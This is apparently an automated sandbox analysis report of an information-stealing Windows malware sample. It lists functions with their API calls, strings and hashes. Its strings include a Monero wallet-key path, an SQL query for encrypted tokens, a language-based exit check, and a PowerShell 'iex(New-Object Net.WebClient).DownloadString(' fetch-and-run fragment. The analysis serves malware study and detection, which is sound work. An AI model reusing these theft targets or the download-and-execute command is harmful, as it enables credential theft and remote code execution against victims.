Opcode Fuzzy Hash: 762c0c02865d4d47a9ac93522562a7157eb11537d50a807f76a2c9b73b01cd20
Instruction Fuzzy Hash: A8614BB19142289BDB24DB50CC55BEAB7BCBF58304F0081E9E649A6181DF705BD9CFA1

Function 0016BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0017A740: lstrcpy.KERNEL32(00180E17,00000000), ref: 0017A788

Part of subcall function 0017A9B0: lstrlen.KERNEL32(?,00CC9188,?,\Monero\wallet.keys,00180E17), ref: 0017A9C5
Part of subcall function 0017A9B0: lstrcpy.KERNEL32(00000000), ref: 0017AA04
Part of subcall function 0017A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0017AA12

Part of subcall function 0017A920: lstrcpy.KERNEL32(00000000,?), ref: 0017A972
Part of subcall function 0017A920: lstrcat.KERNEL32(00000000), ref: 0017A982

Part of subcall function 0017A8A0: lstrcpy.KERNEL32(?,00180E17), ref: 0017A905

Part of subcall function 0017A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0017A7E6

lstrlen.KERNEL32(00000000), ref: 0016BC9F

Part of subcall function 00178E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00178E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0016BCCD
lstrlen.KERNEL32(00000000), ref: 0016BDA5
lstrlen.KERNEL32(00000000), ref: 0016BDB9

Strings

AccountTokens, xrefs: 0016BABA
SELECT service, encrypted_token FROM token_service, xrefs: 0016BBEB
AccountId, xrefs: 0016BCC4
AccountTokens, xrefs: 0016BB49

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: baf8700c42b4eef2ce7bbf4f758d9091cd2e315b421a8beef7b550f054d6c4a6
Instruction ID: 6ab0194265178f1348538d03149f5c9f2708ee09dce853cc4cd95558a9dd56d7
Opcode Fuzzy Hash: baf8700c42b4eef2ce7bbf4f758d9091cd2e315b421a8beef7b550f054d6c4a6
Instruction Fuzzy Hash: 0CB12772910104ABDB05FBA0DD96DEE733DAFA4301F808558F50AA7091EF346F59CB62

Function 00176770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00176774
ExitProcess.KERNEL32 ref: 001767A5
ExitProcess.KERNEL32 ref: 001767AF
ExitProcess.KERNEL32 ref: 001767B9
ExitProcess.KERNEL32 ref: 001767C3
ExitProcess.KERNEL32 ref: 001767CD

Strings

*, xrefs: 0017678C

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: c664ea807934a20027ebaa251f2aba328518492c7e7f014567826fb4978f7a32
Instruction ID: 03844f0be93b32302fee1ee2e8b24d433c1089a452aae13f24b977903485f0b0
Opcode Fuzzy Hash: c664ea807934a20027ebaa251f2aba328518492c7e7f014567826fb4978f7a32
Instruction Fuzzy Hash: 17F05E32904609EFD3859FE0E90977D7B78FB06703F140198E61986290D7754F81DB96

Function 00164FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00164FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00164FD1
InternetOpenA.WININET(00180DDF,00000000,00000000,00000000,00000000), ref: 00164FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00165011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00165041
InternetCloseHandle.WININET(?), ref: 001650B9
InternetCloseHandle.WININET(?), ref: 001650C6

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 9b37b54efbb26fd93a1d9bffef2a5489a5993b2f191abb0b2adb69d168ff43dd
Instruction ID: 696ef6e3cceddafe29700801142d92855b7c289dd798963f5e34fb48ce3169f3
Opcode Fuzzy Hash: 9b37b54efbb26fd93a1d9bffef2a5489a5993b2f191abb0b2adb69d168ff43dd
Instruction Fuzzy Hash: C33108B5A40218ABDB20CF94DC85BDDB7B8EB48704F5081D8FA09A7281C7706AC5CF99

Function 001783DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00178426
wsprintfA.USER32 ref: 00178459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0017847B
RegCloseKey.ADVAPI32(00000000), ref: 0017848C
RegCloseKey.ADVAPI32(00000000), ref: 00178499

Part of subcall function 0017A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0017A7E6

RegQueryValueExA.ADVAPI32(00000000,00CCF0F8,00000000,000F003F,?,00000400), ref: 001784EC
lstrlen.KERNEL32(?), ref: 00178501
RegQueryValueExA.ADVAPI32(00000000,00CCF218,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00180B34), ref: 00178599
RegCloseKey.ADVAPI32(00000000), ref: 00178608
RegCloseKey.ADVAPI32(00000000), ref: 0017861A

Strings

%s\%s, xrefs: 0017844D

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 03c2de3702febb20dfe9a84d162c55e5630a5dad4ea1a92fe9091d28632b48b3
Instruction ID: 97cf61eec909e51b5cdc1745f5fda0b892eb25e9012bedcb9cee417301c5298e
Opcode Fuzzy Hash: 03c2de3702febb20dfe9a84d162c55e5630a5dad4ea1a92fe9091d28632b48b3
Instruction Fuzzy Hash: 2821FA7295021CABDB64DB54DC85FE9B7B8FB48700F00C5D8E609A6140DF756A85CFD4

Function 00177690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 001776A4
RtlAllocateHeap.NTDLL(00000000), ref: 001776AB
RegOpenKeyExA.ADVAPI32(80000002,00CBB7F0,00000000,00020119,00000000), ref: 001776DD
RegQueryValueExA.ADVAPI32(00000000,00CCEFF0,00000000,00000000,?,000000FF), ref: 001776FE
RegCloseKey.ADVAPI32(00000000), ref: 00177708

Strings

Windows 11, xrefs: 001776BD

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 2f0ac4c8fa808b44fabf3c45662df81700b98c6195377e0210c3bc1b3ce1dc34
Instruction ID: ca74abb01e2cb410c90d824069711580042e8e943c3e157c3d450d4ed1839565
Opcode Fuzzy Hash: 2f0ac4c8fa808b44fabf3c45662df81700b98c6195377e0210c3bc1b3ce1dc34
Instruction Fuzzy Hash: C3018FB6A04208BBEB05DBE4DC4DF6AB7BCEB48701F008054FA08972D0D7749A04CB51

Function 00177720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00177734
RtlAllocateHeap.NTDLL(00000000), ref: 0017773B
RegOpenKeyExA.ADVAPI32(80000002,00CBB7F0,00000000,00020119,001776B9), ref: 0017775B
RegQueryValueExA.ADVAPI32(001776B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0017777A
RegCloseKey.ADVAPI32(001776B9), ref: 00177784

Strings

CurrentBuildNumber, xrefs: 00177771

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 126a493cc99c6439552e781f4e14f57421643ddfd599d3cf2ed59ba39801342a
Instruction ID: 82e2da1baf10385b3f2dcc40799b7d2b891c204ada688f038df0099176105baf
Opcode Fuzzy Hash: 126a493cc99c6439552e781f4e14f57421643ddfd599d3cf2ed59ba39801342a
Instruction Fuzzy Hash: 9A014FBAA40308BBDB01DBE4DC4AFBEBBBCEB48701F004158FA05A7281DB755A00CB51

Function 001699C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001699EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00169A11
LocalAlloc.KERNEL32(00000040,?), ref: 00169A31
ReadFile.KERNEL32(000000FF,?,00000000,0016148F,00000000), ref: 00169A5A
LocalFree.KERNEL32(0016148F), ref: 00169A90
CloseHandle.KERNEL32(000000FF), ref: 00169A9A

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 3961633b9a0e7a8b30d234ef3c53b5b00532f4c37a78b62199bf18e7547114ae
Instruction ID: 8f1511b8c60db946dd30668898730a5ace2868c37a63acd9685e54a6fb7c2744
Opcode Fuzzy Hash: 3961633b9a0e7a8b30d234ef3c53b5b00532f4c37a78b62199bf18e7547114ae
Instruction Fuzzy Hash: E1310A74A00209EFDB14CF94C985BAE77F9FF49340F108158E916A7390D779A951CFA1

Function 00174780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00CCF2D8), ref: 001747DB

Part of subcall function 00178DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00178E0B

lstrcat.KERNEL32(?,00000000), ref: 00174801
lstrcat.KERNEL32(?,?), ref: 00174820
lstrcat.KERNEL32(?,?), ref: 00174834
lstrcat.KERNEL32(?,00CBA668), ref: 00174847
lstrcat.KERNEL32(?,?), ref: 0017485B
lstrcat.KERNEL32(?,00CCE298), ref: 0017486F

Part of subcall function 0017A740: lstrcpy.KERNEL32(00180E17,00000000), ref: 0017A788

Part of subcall function 00178D90: GetFileAttributesA.KERNEL32(00000000,?,00161B54,?,?,0018564C,?,?,00180E1F), ref: 00178D9F

Part of subcall function 00174570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00174580
Part of subcall function 00174570: RtlAllocateHeap.NTDLL(00000000), ref: 00174587
Part of subcall function 00174570: wsprintfA.USER32 ref: 001745A6
Part of subcall function 00174570: FindFirstFileA.KERNEL32(?,?), ref: 001745BD

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 7d4a85bcac3e942cd6c532db3aece0bb8e86942f509d8c76abb175bafccfe571
Instruction ID: 001519d9a9714673c0544122c8b5052116a98a99dee8a5299fdeb1cd62ac3b78
Opcode Fuzzy Hash: 7d4a85bcac3e942cd6c532db3aece0bb8e86942f509d8c76abb175bafccfe571
Instruction Fuzzy Hash: F931A8B294021867CB51FBB0DC89EED737CBB99704F408589B31996081EF749789CF91

Function 00172C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0017A740: lstrcpy.KERNEL32(00180E17,00000000), ref: 0017A788

Part of subcall function 0017A9B0: lstrlen.KERNEL32(?,00CC9188,?,\Monero\wallet.keys,00180E17), ref: 0017A9C5
Part of subcall function 0017A9B0: lstrcpy.KERNEL32(00000000), ref: 0017AA04
Part of subcall function 0017A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0017AA12

Part of subcall function 0017A920: lstrcpy.KERNEL32(00000000,?), ref: 0017A972
Part of subcall function 0017A920: lstrcat.KERNEL32(00000000), ref: 0017A982

Part of subcall function 0017A8A0: lstrcpy.KERNEL32(?,00180E17), ref: 0017A905

ShellExecuteEx.SHELL32(0000003C), ref: 00172D85

Strings

')", xrefs: 00172CB3
<, xrefs: 00172D39
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00172D04
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00172CC4

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 4f5133a8a047483c008bb06e9b63a6464d775462dc5314c513948547dbed9253
Instruction ID: c62b33680ac0851a8a9f75850f11002841e952ac83157daa14d77334ac538f7e
Opcode Fuzzy Hash: 4f5133a8a047483c008bb06e9b63a6464d775462dc5314c513948547dbed9253
Instruction Fuzzy Hash: 3641D471C501089ADB19FFA0C896FDEBB74AF64300F908119F11AB7191DF746A4ACF92

Function 00169E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00169F41

Part of subcall function 0017A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0017A7E6

Part of subcall function 0017A740: lstrcpy.KERNEL32(00180E17,00000000), ref: 0017A788

Strings

v10, xrefs: 00169EA3
v20, xrefs: 00169E21
ERROR_RUN_EXTRACTOR, xrefs: 00169E67
@, xrefs: 00169EF1

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: c2918b9303ecdaba0840fdf673a3a594636216127824df60c9e769f2f7712577
